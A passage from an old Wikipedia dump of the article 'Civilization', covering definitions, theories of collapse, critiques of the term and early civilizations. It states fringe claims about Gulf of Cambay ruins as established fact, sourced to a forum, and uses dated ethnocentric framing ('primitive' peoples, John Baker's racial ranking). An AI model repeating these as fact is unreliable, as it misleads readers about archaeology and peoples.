* [[tribal]] societies in which [[social rank]] plays increasing importance to the 
* [[chieftains]] leading [[social stratification|stratified ]]structures and thence to 
* civilizations of organized instituted state systems.

==What characterizes civilization==
[[Image:Egyptianplow.jpg|300px|thumbnail|An Egyptian farmer using a plow drawn by domesticated animals, two developments in agriculture that started the [[Neolithic Revolution]] and led to the first civilizations.]]

Literally, a civilization is a complex society, as distinguished from a simpler society. Everyone lives in a society and a culture, but not everyone lives in a civilization. [[V. Gordon Childe]] suggested the following characteristics of civilized life

# the great increase in the size of the largest settlements
# the institution of tribute or taxation and the central accumulation of capital
# monumental public works and infrastructure
# development of naturalistic representational arts
# the art of written communication
# the development of exact and predictive sciences (geometry, arithmetic and astronomy)
# expansion of foreign trade with developed economic institutions
# full time technical specialists
# a privileged and leisured ruling class
# the state, or a structure of society which defines residence, and is independent of kinship 

Historically, civilizations have shared some or all of the following traits:

* Intensive [[agriculture|agricultural]] techniques, such as the use of human power, [[crop rotation]], and [[irrigation]]. This has enabled farmers to produce a surplus of food that is not necessary for their own subsistence.
* A significant portion of the population that does not devote most of its time to producing food. This permits a [[division of labor]]. Those who do not occupy their time in producing food may instead focus their efforts in other fields, such as [[industry]], [[war]], [[science]] or [[religion]]. This is possible because of the food surplus described above.
* The gathering of some of these non-food producers into permanent settlements, called [[city|cities]].
* A form of social organization. This can be a [[chiefdom]], in which the [[chieftain]] of one noble family or [[clan]] rules the people; or a [[state]] society, in which the [[ruling class]] is supported by a [[government]] or [[bureaucracy]]. Political power is concentrated in the cities.
* The institutionalized control of food by the ruling class, government or bureaucracy.
* The establishment of complex, formal social institutions such as organized [[religion]] and [[education]], as opposed to the less formal traditions of other societies.
* Development of complex forms of [[economics|economic]] exchange. This includes the expansion of [[trade]] and may lead to the creation of [[money]] and [[market]]s.
* The accumulation of more material possessions than in simpler societies.
* Development of new [[technology|technologies]] by people who are not busy producing food. In many early civilizations, [[metallurgy]] was an important advancement.
* Advanced development of the [[arts]], including [[writing]].

Generally it would appear that despite their many differences all civilizations have the following characteristics.

# All civilizations start small, establishing their genesis with the creation of state systems for maintaining the elite.
# Successful civilizations then flourish and grow becoming larger and larger in an accelerating fashion.  
# They then reach a limiting maximum extent, perhaps managing to hold a degree of stability for a length of time
# Competition between states in a civilization may result in one achieving predominance over the others.
# Dominance may be indirect, or may formalize into the structure of single multi-ethnic empires. 
# Over the long terms civilizations either collapse or get replaced by a larger, more dynamic civilization.

By this definition, some societies, like [[Greece]], are clearly civilizations, whereas others like the [[Bushmen]] clearly are not. However, the distinction is not always clear. In the [[Pacific Northwest]] of the US, for example, an abundant supply of fish guaranteed that the people had a surplus of food without any agriculture. The people established permanent settlements, a social hierarchy, material wealth, and advanced artwork (most famously [[totem pole]]s), all without the development of intensive agriculture. Meanwhile, the [[Pueblo]] culture of southwestern North America developed advanced agriculture, irrigation, and permanent, communal settlements such as [[Taos Pueblo|Taos]]. However, the Pueblo never developed any of the complex institutions associated with civilizations. Today, many tribal societies live inside states and under their laws. The political structures of civilization have been superimposed on their way of life, so they too occupy a middle ground between tribal and civilized.

==Civilization as a cultural identity==
&quot;Civilization&quot; can also describe the [[culture]] of a complex society, not just the society itself. Every society, civilization or not, has a specific set of ideas and customs, and a certain set of items and arts, that make it unique. Civilizations have even more intricate cultures, including literature, professional art, architecture, organized religion, and complex customs associated with the elite. Civilization is such in nature that it seeks to spread, to have more, to expand, and it has the means by which to do this.

Nevertheless, some tribes or peoples remained uncivilized even to this day (2006). These cultures are called primitive. They do not have hierarchical governments, organized religion, writing systems or money. The little hierarchy that exists, for example respect for the elderly, is mutual and not instituted by force, rather by a sort of mutual agreement. Government does not exist, or at least the civilized version of government which most of us are familiar with.

The civilized world is spread by introducing agriculture, writing and religion to primitive tribes. Some tribes may willingly adapt to civilized behavior. But civilization is also spread by force: if a tribe does not wish to use agriculture or accept a certain religion it is often forced to do so by the civilized people, and they usually succeed due to their more advanced technology. Civilization often uses religion to justify its actions, claiming for example that the uncivilized are savages, barbarians or the like, which should be subjugated by civilization.

It is difficult for the uncivilized world to mount any counter-assault on civilization since that would mean complying to civilization's standards and concepts of advanced violence (war). They would need to become civilized in order to engage in any sort of war.

Thus, the intricate culture associated with civilization has a tendency to spread to and influence other cultures, sometimes assimilating them into the civilization (a classic example being [[India|Indian]] civilization and its influence on [[China]], [[Xanadu]], [[Korea]], [[Japan]], [[Tibet]], [[Southeast Asia]] and so forth). Many civilizations are actually large cultural spheres containing many nations and regions. The civilization in which someone lives is that person's broadest cultural identity. A female of [[African-American|African]] descent living in the [[United States]] has many roles that she identifies with. However, she is above all a member of &quot;[[Western civilization]]&quot;. In the same way, a male of [[Kurdish people|Kurdish]] ancestry living in [[Iran]] is above all a member of &quot;[[Persians|Persian]] civilization&quot;.

Many historians have focused on these broad cultural spheres and have treated civilizations as single units. One example is early twentieth-century philosopher [[Oswald Spengler]], even though he uses the German word &quot;Kultur&quot;, &quot;culture&quot;, for what we here call a &quot;civilization&quot;. He said that a civilization's coherence is based around a single primary cultural symbol. Civilizations experience cycles of birth, life, decline and death, often supplanted by a new civilization with a potent new culture, formed around a compelling new cultural symbol.

This &quot;unified culture&quot; concept of civilization also influenced the theories of historian [[Arnold J. Toynbee]] in the mid-twentieth century. Toynbee explored civilization processes in his multi-volume ''[[A Study of History]]'', which traced the rise and, in most cases, the decline of 21 civilizations and five &quot;arrested civilizations&quot;. Civilizations generally declined and fell, according to Toynbee, because of moral or religious decline, rather than economic or environmental causes.

[[Samuel P. Huntington]] similarly defines a civilization as &quot;the highest cultural grouping of people and the broadest level of cultural identity people have short of that which distinguishes humans from other species.&quot; Besides giving a definition of a civilization, Huntington has also proposed several theories about civilizations, discussed [[#The future of civilizations|below]].

==Civilizations as complex systems==
Another group of theorists, making use of [[systems theory]], look at civilizations as [[complex systems]] or networks of cities that emerge from pre-urban cultures, and are defined by the economic, political, military, diplomatic, and cultural interactions between them.

For example, urbanist [[Jane Jacobs]] defines cities as the economic engines that work to create large networks of people. The main process that creates these city networks, she says, is &quot;import replacement&quot;. Import replacement is the process by which peripheral cities begin to replace goods and services that were formerly imported from more advanced cities. Successful import replacement creates economic growth in these peripheral cities, and allows these cities to then export their goods to less developed cities in their own hinterlands, creating new economic networks. So Jacobs explores economic development across wide networks instead of treating each society as an isolated cultural sphere.

Systems theorists look at many types of relations between cities, including economic relations, cultural exchanges, and political/diplomatic/military relations. These spheres often occur on different scales. For example, trade networks were, until the nineteenth century, much larger than either cultural spheres or political spheres. Extensive trade routes, including the [[silk road]] through [[Central Asia]] and [[Indian Ocean]] sea routes linking the [[Roman Empire]], [[Persian empire|Persia]], [[India]], and [[China]], were well established 2000 years ago, when these civilizations scarcely shared any political, diplomatic, military, or cultural relations.

Many theorists argue that the entire world has already become integrated into a single &quot;world system,&quot; a process known as [[globalization]]. Different civilizations and societies all over the globe are economically, politically, and even culturally interdependent in many ways. There is debate over when this integration began, and what sort of integration - cultural, technological, economic, political, or military-diplomatic - is the key indicator in determining the extent of a civilization. [[David Wilkinson]] has proposed that economic and military-diplomatic integration of the [[Mesopotamia]]n and [[Ancient Egypt|Egypt]]ian civilizations resulted in the creation of what he calls the &quot;Central Civilization&quot; around 1500 BCE. Central Civilization later expanded to include the entire Middle East and Europe, and then expanded to a global scale with European colonization, integrating the Americas, Australia, China and Japan by the nineteenth century. According to Wilkinson, civilizations can be culturally heterogeneous, like the Central Civilization, or relatively homogeneous, like the Japanese civilization. What Huntington calls the &quot;clash of civilizations&quot; might be characterized by Wilkinson as a clash of cultural spheres within a single global civilization. Others point to the [[Crusades]] as the first step in globalization. The more conventional viewpoint is that networks of societies have expanded and shrunk since ancient times, and that the current globalized economy and culture is a product of recent European colonialism.

==The future of civilizations==
Political scientist [[Samuel P. Huntington]] has argued that the defining characteristic of the 21st century will be a [[clash of civilizations]]. According to Huntington, conflicts between civilizations will supplant the conflicts between [[nation-state]]s and ideologies that characterized the 19th and 20th centuries.

Currently, world civilization is in a stage that has created what may be characterized as an [[industrial society]], superseding the [[agrarian society]] that preceded it. Some futurists believe that civilization is undergoing another transformation, and that world society will become an [[informational society]].

The [[Kardashev scale]] classifies civilizations based on their level of technological advancement, specifically measured by the amount of energy a civilization is able to harness. The Kardashev scale makes provisions for civilizations far more technologically advanced than any currently known to exist. ''(see also: [[Civilizations and the Future]], [[Space civilization]])''

==The Fall of Civilizations==
There have been many explanations put forwards for the collapse of civilization.

'''[[Edward Gibbon|Edward Gibbon's]]''' massive work ''&quot;[[The Decline and Fall of the Roman Empire]]&quot;'' began an interest in the Fall of Civilizations, that had begun with the [[historical divisions]] of [[Petrarch]][http://www.artsci.lsu.edu/voegelin/EVS/Panel72001.htm|Petrarch] between the [[Classical Period]] of [[Ancient Greece]] and [[Rome]], the succeeding [[Dark Ages]], and the [[Renaissance]].  For Gibbon:-

''&quot;The decline of Rome was the natural and inevitable effect of immoderate greatness. Prosperity ripened the principle of decay; the cause of the destruction multiplied with the extent of conquest; and, as soon as time or accident and removed the artificial supports, the stupendous fabric yielded to the pressure of its own weight. The story of the ruin is simple and obvious: and instead of inquiring why the Roman Empire was destroyed we should rather be surprised that it has subsisted for so long.&quot;''[Gibbon, Decline and Fall of the Roman Empire, 2nd ed., vol. 4, ed. by J. B. Bury (London, 1909), pp. 173-174.]  Gibbon suggested the final act of the collapse of Rome was the collapse of Constantinople to the Ottoman Turks in 1453 AD.

'''[[Theodor Mommsen]]''' in his ''&quot;[[History of Rome]]&quot;'', suggested Rome collapsed with the collapse of the Western Roman Empire in 476 AD and he also tended towards a biological analogy of &quot;genesis&quot;, &quot;growth&quot;, &quot;senescence&quot;, &quot;collapse&quot; and &quot;decay&quot;.  

'''[[Oswald Spengler]]''', in his ''&quot;[[Decline of the West]]&quot;'' rejected Petrarch's chronological division, and suggested that there had been only eight &quot;mature civilizations&quot;.  Growing cultures he argued tended to develop into imperialistic civilizations which expand and ultimately collapse, with democratic forms of government ushering in plutocracy and ultimately imperialism.

'''[[Arnold Toynbee]]''' in his monumental ''&quot;[[A Study of History]]&quot;'' suggested that there had been a much larger number of civilizations, including a small number of [[arrested civilizations]], and that all civilizations tended to go through the cycle identified by Mommsen.  The cause of the fall of a civilization occurred when a [[cultural elite]] became a [[parasitic elite]], leading to the rise of [[internal proletariat|internal]] and [[external proletariat]].

'''[[Joseph Tainter]]''' in ''&quot;[[The Decline of Complex Societies]]&quot;'' suggested that there was a [[diminishing return]] to [[complexity]], in which as states achieved a maximum permissible complexity, would decline when further increases actually produced a negative return.  Tainter suggested that Rome achieved this figure in the 2nd Century AD.

'''[[Jared Diamond]]''' in his recent book ''&quot;[[Collapse (book)|Collapse: How Societies Choose to Fail or Succeed]]&quot;'' suggests five major reasons for the collapse of 41 studied cultures including:
* environmental damage, (such as [[deforestation]] and [[soil erosion]] 
* [[Climate change]]
* dependence upon [[international trade|long-distance trade]] for needed resources
* increasing and rising levels of internal and external violence, such as war or invasion
* societal responses to internal and environmental problems

Generally explanations for the collapse of civilization have shifted from inherent biological analogies, towards more systemic [[ecology|ecological]] understandings where [[sustainable cultures]] fail to be built.

==Negative views of civilization==
Civilization has been criticized from a variety of viewpoints and for a variety of reasons. However, few critics have objected to ''all'' aspects of civilization; rather, most have argued that civilization brings a mixture of good and bad effects, and that the bad outweigh the good.

The best known opponents of civilization are people who have voluntarily chosen to live outside it. These include [[hermit]]s and religious [[ascetic]]s who, in many different times and places, have attempted to eliminate the influence of civilization over their lives in order to concentrate on spiritual matters. [[Monasticism|Monasteries]] represent an effort by these ascetics to create a life somewhat apart from their mainstream civilizations. In the 19th century, [[Transcendentalism|Transcendentalists]] believed civilization was shallow and materialistic, so they wanted to build a completely agrarian society, free from the oppression of the city. 

Civilizations have shown an inclination towards conquest and expansion. When civilizations were formed, more food was produced and the society's material possessions increased, but wealth also became concentrated in the hands of the powerful. The communal way of life among tribal people gave way to [[aristocracy]] and [[hierarchy]]. As hierarchies are able to generate sufficient resources and food surpluses capable of supplying standing [[armies]], civilizations were capable of conquering neighboring cultures that made their livings in different ways. In this manner, civilizations began to spread outward from [[Eurasia]] across the world some [[agricultural revolution|10,000 years ago]] - and are finishing the job today in the remote jungles of the [[Amazon River|Amazon]] and [[New Guinea]]. 

Many [[environmentalism|environmentalists]] criticize civilizations for their exploitation of the environment. Through intensive agriculture and urban growth, civilizations tend to destroy natural settings and habitats. This is sometimes referred to as &quot;dominator culture&quot;. Proponents of this view believe that traditional societies live in greater harmony with nature than civilizations; people work with nature rather than try to subdue it. The [[sustainable living]] movement is a push from some members of civilization to regain that harmony with nature.

[[Anarcho-primitivism|Primitivism]] is a modern philosophy totally opposed to civilization. Primitivists accuse civilizations of restricting human potential, oppressing the weak, and damaging the environment. They wish to return to a more primitive way of life which they consider to be in the best interests of both nature and human beings. A leading proponent is [[John Zerzan]], whereas a critic is [[Roger Sandall]].

However, not all critics of past and present civilization believe that a primitive way of life is better. Some have argued that a third alternative exists, which is neither primitive nor &quot;civilized&quot; in the current sense of the word. This may be described as a radically different form of civilization. [[Karl Marx]], for instance, argued that the beginning of civilization was the beginning of [[oppression]] and [[exploitation]], but also believed that these things would eventually be overcome and [[communism]] would be established throughout the world. He envisioned communism not as a return to any sort of idyllic past, but as a quantum leap forward to a new stage of civilization. [[Conflict theory]] in the social sciences also views present civilization as being based on the domination of some people by others, but makes no moral judgments on the issue.

Among Eastern schools of thought, [[Taoism]] was one of the first to reject the [[Confucian]] concern for civilization.

==Problems with the term &quot;civilization&quot;==
As discussed above, &quot;civilization&quot; has a number of meanings, and its use can lead to confusion and misunderstanding.

However, &quot;civilization&quot; can be a highly [[connotation|connotative]] word. It might bring to mind qualities such as superiority, humaneness, and refinement. Indeed, many members of civilized societies ''have'' seen themselves as superior to the &quot;[[barbarian]]s&quot; outside their civilization.

Many 19th-century [[anthropology|anthropologists]] backed a theory called [[cultural evolution]]. They believed that people naturally progress from a simple state to a superior, civilized state. [[John Wesley Powell]], for example, classified all societies as Savage, Barbarian, and Civilized; the first two of his terms would shock most anthropologists today. The early 20th century saw the first cracks in this world view within [[Western Civilization]]: [[Joseph Conrad]]'s 1902 novel &quot;[[Heart of Darkness]]&quot;, for example, told a story set in the [[Congo Free State]], in which the most savage and uncivilized behavior was initiated by a white European. This hierarchical world view was dealt further serious blows by the [[atrocity|atrocities]] of [[World War I]] and [[World War II]] and so on.

Today most social scientists believe at least to some extent in cultural relativism, the view that complex societies are not by nature superior, more humane, or more sophisticated than less complex or technologically advanced groups. This view has its roots in the writings of [[Franz Boas]].

A minority of scholars reject the relativism of Boas and mainstream social science. English biologist [[John Baker (biologist)|John Baker]], in his 1974 book ''Race'', gives about 20 criteria that make civilizations superior to non-civilizations. Baker tries to show a relation between the cultures of civilizations and the biological disposition of their creators.

Many [[postmodern]]ists, and a considerable proportion of the wider public, argue that the division of societies into 'civilized' and 'uncivilized' is arbitrary and meaningless. On a fundamental level, they say there is no difference between civilizations and tribal societies; that each simply does what it can with the resources it has. In this view, the concept of &quot;civilization&quot; has merely been the justification for [[colonialism]], [[imperialism]], [[genocide]], and coercive acculturation.

For all of the above reasons, many scholars today avoid using the term &quot;civilization&quot; as a stand-alone term; they prefer to use '''urban society''' or '''intensive agricultural society''', which are much less ambiguous, more neutral-sounding terms. &quot;Civilization&quot; however remains in common academic use when describing specific societies, such as &quot;Mayan Civilization&quot;.

==Early civilizations==
Two cities were recently found in underwater research at Gulf of Cambay,[[India]], belonging to the earliest civilization of the world from 13000 BP (See India below). The earliest known civilizations (as defined in the traditional sense) arose in [[Mesopotamia]] between the [[Tigris]] and [[Euphrates]] rivers in modern-day [[Iraq]], the [[Nile|Nile valley]] of [[Egypt]], the [[Indus Valley Civilization|Indus Valley]] region of modern-day [[Pakistan]], and the [[Huang He]] ([[Yellow River]]) valley of [[China]], while smaller civilizations arose in [[Elam]] in modern-day [[Iran]], and on the island of [[Crete]] in the [[Aegean Sea]]. The inhabitants of these areas built cities, created writing systems, learned to make pottery and use metals, domesticated animals, and created complex social structures with class systems.

===[[Mesopotamia]]===
The earliest [[settlement]] in [[Jericho]] ([[9th millennium BC]]) in modern-day [[Palestine (region)|Palestine]], was a [[Pre-Pottery Neolithic A|PPNA]] culture that eventually gave way to more developed settlements later, which included in one early settlement ([[8th millennium BC]]) mud-brick [[house]]s surrounded by a stone wall, having a stone tower built into the wall. In this time there is evidence of domesticated [[emmer wheat]], [[barley]] and [[pulses]] and hunting of wild animals. However, there are no indications of attempts to form [[community|communities]] (early civilizations) with surrounding peoples. Nevertheless, by the [[6th millennium BC]] we find what appears to be an ancient [[shrine]] and [[cult]], which would likely indicate intercommunal [[religious]] practices in this era. Findings include a collective [[burial]] (with not all the skeletons completely articulated, jaws removed, faces covered with plaster, [[cowry|cowries]] used for eyes). Other finds from this era include stone and bone tools, clay figurines and shell and malachite beads. Around [[1500 BC|1500]] to [[1200 BC]] Jericho and other cities of [[Canaan]] had become [[vassal]]s of the [[Egypt]]ian empire.

Several miles southwest of [[Ur]], [[Eridu]] was the southernmost of a conglomeration of early [[temple]]-cities, in [[Sumer]], southern [[Mesopotamia]], with the earliest of these [[settlement]]s carbon dating to around [[5000 BC]]. The [[Sialk]] [[ziggurat]] of [[Kashan]], [[Iran]], also dates to this era. By the [[4th millennium BC]], in [[Nippur]] we find, in connection with a sort of [[ziggurat]] and [[shrine]], a [[conduit]] built of [[brick]]s, in the form of an [[arch]]. [[Sumerian]] inscriptions written on [[clay]] also appear in Nippur. By [[4000 BC]] an ancient [[city]] of [[Susa]], in [[Mesopotamia]], seems to emerge from earlier [[village]]s. Sumerian [[Cuneiform (script)|cuneiform]] script dates to no later than about [[3500 BCE]]. Sumer, which was Mesopotamia's first civilization in what is now [[Iraq]], is recognized as the world's earliest civilization. Other villages begin to spring up around this time in the [[Ancient Near East]] ([[Middle East]]) as well.

===Egypt===
[[Anthropology|Anthropological]] and [[Archaeology|archaeological]] evidence both indicate a [[cereal|grain]]-[[grinding]] [[culture]] [[farming]] along the [[Nile]] in the [[10th millennium BC]] using [[sickle]] [[blade]]s. But another culture of [[hunting|hunters]], [[fishing|fishers]] and [[hunter-gatherer|gathering]] peoples using [[stone tool]]s replaced them. Evidence also indicates human habitation in the southwestern corner of Egypt, near the [[Sudan]] border, before [[8000 BC]]. Climate changes and/or overgrazing around [[8th millennium BC|8000 BC]] began to desiccate the pastoral lands of [[Ancient Egypt|Egypt]], eventually forming the [[Sahara]] (c.[[2500 BC]]), and early tribes naturally migrated to the [[Nile]] river where they developed a settled [[agriculture|agricultural]] [[economic system|economy]] and more centralized [[society]]. Domesticated animals had already been imported from [[Asia]] between [[7500 BC]] and [[4000 BC]] (see ''[[Sahara#History|Sahara: History, Cattle period]]''), and there is evidence of [[pastoralism]] and cultivation of [[cereal]]s in the East [[Sahara]] in the [[7th millennium BC]]. The earliest known artwork of [[ship]]s in [[Ancient Egypt|ancient Egypt]] dates to [[6000 BCE]].

By [[6000 BC]] [[Predynastic Egypt|predynastic Egyptians]] in the southwestern corner of [[Egypt]] were [[herding]] cattle and [[construction|constructing]] large buildings. Symbols on [[Gerzean]] pottery, ''c.''[[4000 BC]], resemble traditional [[Egyptian hieroglyph|hieroglyph]] writing [http://www.touregypt.net/ebph5.htm]. In [[Ancient Egypt|ancient Egypt]] [[mortar (masonry)]] was in use by [[4000 BC]], and ancient Egyptians were producing [[ceramic]] [[faience]] as early as [[3500 BC]]. There is evidence that [[Ancient Egypt|ancient Egyptian]] [[explorers]] may have originally cleared and protected some branches of the [[Silk Road]]. [[History of medicine#Egyptian medicine|Medical institutions]] are known to have been established in Egypt since as early as circa [[3000 BC]]. Ancient Egypt gains credit for the tallest ancient [[Pyramid#Structures|pyramids]] and early forms of [[surgery]], [[Timeline of mathematics|mathematics]], and [[barge]] transport (see [[Ancient Egypt#Ancient Achievements|Ancient Egypt: Ancient Achievements]]).

===India===
In December 2000, ruins were found in the [[Gulf of Cambay]], off the western coast of [[India]]. Materials from the site have been carbon-dated as from being around 9,500 years old (although this date has yet to be confirmed), making it one of the very earliest civilizations. The site of the city is 40 to 120 feet under sea level, and is two miles wide and five miles long. Sonar images have revealed structures similar to staircases, temples and bathrooms. The site was discovered accidentally while surveyors from India's [[National Institute of Ocean Technology]] were conducting a study of pollution. It is theorized that the city was submerged at the end of the last ice age. Recently there were identified two underwater riverine palaeochannels and two metropolis: Northern and Southern. The Southern city seems to be the earliest of the two with findings of well fired pottery even from 13000 BP that could be an earlier stage of the site. For more recent details see Badrinaryan 2006: http://www.grahamhancock.com/forum/BadrinaryanB1.php?p=1

Before this recent find, the earliest known [[farming]] cultures in [[South Asia]] emerged in the hills of [[Balochistan, Pakistan]], which included [[Mehrgarh]] in the [[7th millennium BC]]. These semi-nomadic peoples domesticated [[wheat]], [[barley]], [[sheep]], [[goat]] and [[cattle]]. [[Pottery]] was in use by the [[6th millennium BC]]. Their [[settlement]] consisted of mud buildings that housed four internal subdivisions. [[Burial]]s included elaborate goods such as [[basket]]s, [[stone tools|stone]] and bone [[tool]]s, [[bead]]s, [[bangle]]s, [[pendant]]s and occasionally [[animal sacrifice]]s. [[Figurine]]s and ornaments of [[sea shell]], [[limestone]], [[turquoise]], [[lapis lazuli]], [[sandstone]] and polished [[copper]] have been found. By the [[4th millennium BC]] we find much evidence of [[manufacturing]]. [[Technology|Technologies]] included stone and copper [[drill]]s, updraft [[kiln]]s, large pit kilns and copper melting [[crucible]]s. Button [[seal (device)|seals]] included geometric designs.

By [[4000 BC]] a pre-[[Harappa]]n culture emerged, with [[trade]] networks including [[lapis lazuli]] and other raw materials. [[Village]]rs domesticated numerous other crops, including [[pea]]s, [[sesame seed]], [[date (fruit)|dates]], and [[cotton]], plus a wide range of domestic animals, including the [[water buffalo]] which still remains essential to intensive [[agriculture|agricultural]] production throughout [[Asia]] today. There is also evidence of [[shipbuilding|sea-going]] craft. Archaeologists have discovered a massive, dredged canal and docking facility at the coastal city of [[Lothal]], [[India]], perhaps the world's oldest sea-faring harbor. Judging from the dispersal of artifacts the trade networks integrated portions of [[Afghanistan]], the [[Iran|Persia]]n coast, northern and central [[India]], [[Mesopotamia]] (see [[Meluhha]]) and [[Ancient Egypt]] (see [[Silk Road]]).

Archaeologists studying the remains of two men from [[Mehrgarh]], [[Pakistan]], discovered that these peoples in the [[Indus Valley Civilization]] had knowledge of [[medicine]] and [[dentistry]] as early as circa [[3300 BC]]. The [[Indus Valley Civilization]] gains credit for the earliest known use of [[decimal|decimal fractions]] in a uniform system of [[ancient weights and measures]], as well as [[negative number]]s (see [[Timeline of mathematics]]). Ancient [[Indus Valley]] artifacts include beautiful, glazed stone [[faïence]] beads.

The [[Indus Valley Civilization]] boasts the earliest known accounts of [[urban planning]]. As seen in [[Harappa]], [[Mohenjo-daro]] and (recently discovered) [[Rakhigarhi]], their urban planning included the world's first urban [[sanitation]] systems. Evidence suggests efficient municipal governments. Streets were laid out in perfect grid patterns comparable to modern [[New York]]. Houses were protected from noise, odors and thieves. The [[sewage]] and [[drainage]] systems developed and used in cities throughout the [[Indus Valley]] were far more advanced than that of contemporary urban sites in [[Mesopotamia]] and [[Egypt]] and also more advanced than that of any other [[Bronze Age]] or even [[Iron Age]] civilization.

===China===
Developed [[agriculture]] appears in the [[7th millennium BC]] in the [[Peiligang culture]] (discovered in 1977) of [[Henan]], [[China]], including storing and redistributing [[agriculture|crops]], [[millet]] [[farming]] and animal [[husbandry]] ([[pig]]s). Evidence also indicates specialized [[craftsmen]]ship and [[Administration|administrator]]s (see [[History of China#Prehistoric times|History of China: Prehistoric times]]). This culture is one of the oldest in ancient China to show evidence of [[pottery]]-making. China's first historical dynasty, the [[Xia Dynasty]], emerged in [[21st century BC|2033 BC]] and may have been a late [[Neolithic]] or early [[Bronze Age]] culture.

Attributed to a later [[China|Chinese]] [[culture]], in the [[Shang Dynasty]] ([[1600 BC|1600]]-[[1046 BC]]), are [[bronze]] artifacts and [[oracle bone]]s, which were turtle shells or cattle scapula on which are written the first recorded [[Chinese character]]s and found in the [[Huang He]] valley, [[Yinxu]] (a capital of the [[Shang Dynasty]]).
However, John Randal Baker doubts if the Shang culture was an autochthonous civilization as the Shang didn't built in stone or brick very much, were grossly superstitious including ritual cannibalism and remnants of a scientific culture could not be found in contrast to Sumer, Egypt and Greece.

=== Iran (Persia)===

There are records of numerous ancient and technologically advanced civilizations on the [[Iranian plateau]] before the arrival of [[Aryan]] tribes from the north, many of whom are still unknown to historians today. [[Archeology|Archeological findings]] place knowledge of Persian prehistory at middle [[paleolithic]] times (100,000 years ago).[http://www.iranmiras.ir/fr_site/history/index.htm] The earliest sedentary cultures date from 18,000-14,000 years ago. In [[6000 BC]] the world saw a fairly sophisticated agricultural society and proto-urban population centers. 7000 year old [[jar]]s of [[wine]] [[Excavation|excavated]] in the [[Zagros Mountains]]  [http://www.museum.upenn.edu/new/research/Exp_Rese_Disc/NearEast/wine.shtml (now on display at The University of Pennsylvania)] and ruins of 7000 year old settlements such as [[Sialk]] are further testament to this. 
Many a [[Dynasty|dynasty]] have ruled Persia throughout the ages. Scholars and archeologists are only beginning to discover the scope of the independent, non-Semitic [[Elamite Empire]] and [http://www.saudiaramcoworld.com/issue/200405/what.was.jiroft..htm Jiroft civilizations] [http://www.thenoiseroom.com/archNews/archNewsStoryDisplay.php?id=330 (2)] 5000 years ago. At the end of second millennium, the [[Aryan]] nomads from central Asia settled in Persia.

==See also==
*[[End of civilization]]
*[[List of pre-Columbian civilizations]]
*[[Kardashev scale]]
**An official scale and classification system for civilizations which are ranging from tribal and planetary to imperial and galactic to omnipotent and multiversal.

==Further reading==
*[http://www.bbc.co.uk/religion/interactive/civilisations/ BBC on civilization]
*Wiktionary: [[wiktionary:civilization|civilization]], [[wiktionary:civilize|civilize]]
*[[Felipe Fernandez-Armesto]], 2001, Civilizations, Free Press, London.
*Brinton, Crane, John B. Christopher, Robert Lee Wolff, and Robin W. Winks. ''A History of Civilization: Prehistory to 1715''. Volume 1. Sixth Edition. Englewood Cliffs: Prentice-Hall, 1984.
*Casson, Lionel. ''Ships and Seafaring in Ancient Times''. Austin: University of Texas Press, 1994.
*Chisholm, Jane, ed. ''The Usborne Book of the Ancient World''. London: Usborne, 1991.
*Colcutt, Martin, Marius Jansen, and Isao Kumakura. ''Cultural Atlas of Japan''. New York: Facts on File, 1988.
*Drews, Robert. ''The End of the Bronze Age: Changes in Warfare and the Catastrophe Ca. 1200 BC''. Princeton: Princeton University Press, 1993.
*Edey, Maitland A. ''The Sea Traders''. New York: Time-Life Books, 1974.
*Fairservis, Walter A., Jr. ''The Threshold of Civilization; An Experiment in Prehistory''. New York: Charles Scribner’s Sons, 1975.
*Ferrill, Arther. ''The Origins of War: From the Stone Age to Alexander the Great''. New York: Thames and Hudson, 1986.
*Fitzgerald, C. P. ''The Horizon History of China''. New York: American Heritage, 1969.
*Gowlett, John. ''Ascent to Civilization: The Archaeology of Early Man''. New York: Alfred A. Knopf, 1984.
*Hawkes, Jacquetta. ''The Atlas of Early Man''. New York: St. Martin’s Press, 1976.
*Hawkes, Jacquetta. ''Dawn of the Gods: Minoan and Mycenean Origins of Greece''. New York: Random House, 1968.
*Hicks, Jim. ''The Empire Builders''. New York: Time-Life Books, 1974.
*Hicks, Jim. ''The Persians''. New York: Time-Life Books, 1975.
*Johnson, Paul. ''A History of the Jews''. New York: Harper &amp; Row, 1987.
*Keppie, Lawrence. ''The Making of the Roman Army''. Totowa: Barnes &amp; Noble, 1984.
*Lansing, Elizabeth. ''The Sumerians''. New York: McGraw-Hill, 1971.
*Lee, Ki-Baik. ''A New History of Korea''. Translated by Edward W. Wager with Edward J. Shultz. Cambridge: Harvard University Press, 1984.
*Nahm, Andrew C. ''A Panorama of 5000 Years: Korean History''. Elizabeth: Hollym International, 1983.
*Oliphant, Margaret. ''The Atlas of the Ancient World''. New York: Simon &amp; Schuster, 1992.
*Rogerson, John. ''The Atlas of the Bible''. New York: Facts on File, 1985.
*[[Roger Sandall | Sandall, Roger]] 2001 ''The Culture Cult: Designer Tribalism and Other Essays'' ISBN 0813338638
*Sansom, George. ''A History of Japan to 1334''. Stanford: Stanford University Press, 1967.
*Southworth, John Van Duyn. ''The Ancient Fleet: Naval Warfare under Oars''. New York: Twayne Publishers, 1968.
*Thomas, Hugh. ''A History of the World''. New York: Harper &amp; Row, 1982.
*Yap, Yong, and Arthur Cotterell. ''The Early Civilization of China''. New York: G. P. Putnam &amp; Sons, 1975.
*[[J.F.C. Fuller]]. ''A Military History of the Western World''. Three Volumes. New York: Da Capo Press, Inc., 1954. Reprinted 1987 and 1988.
**v. 1. ''From the earliest times to the Battle of Lepanto''; ISBN 0306803046.
**v. 2. ''From the defeat of the Spanish Armada to the Battle of Waterloo''; ISBN 0306803054.
**v. 3. ''From the American Civil War to the end of World War II''; ISBN 0306803062.

[[Category:Cultural anthropology]]
[[Category:Society]]
[[Category:ISBN needed]]
[[Category:Cultural history]]
[[Category:Civilizations| ]]

[[ar:حضارة]]
[[da:Civilisation]]
[[de:Zivilisation]]
[[et:Tsivilisatsioon]]
[[es:Civilización]]
[[eo:Civilizo]]
[[fr:Civilisation]]
[[gl:Civilización]]
[[ko:문명]]
[[he:ציביליזציה]]
[[lt:Civilizacija]]
[[hu:Civilizáció]]
[[ms:Tamadun]]
[[nl:Beschaving]]
[[ja:文明]]
[[pl:Cywilizacja]]
[[pt:Civilização]]
[[fi:Sivistys]]
[[sv:Civilisation]]
[[ta:நாகரிகம்]]
[[uk:Цивілізація]]
[[zh:文明]]</text>
    </revision>
  </page>
  <page>
    <title>Civilization (computer game)</title>
    <id>6259</id>
    <revision>
      <id>42044979</id>
      <timestamp>2006-03-03T12:24:53Z</timestamp>
      <contributor>
        <username>KnightRider</username>
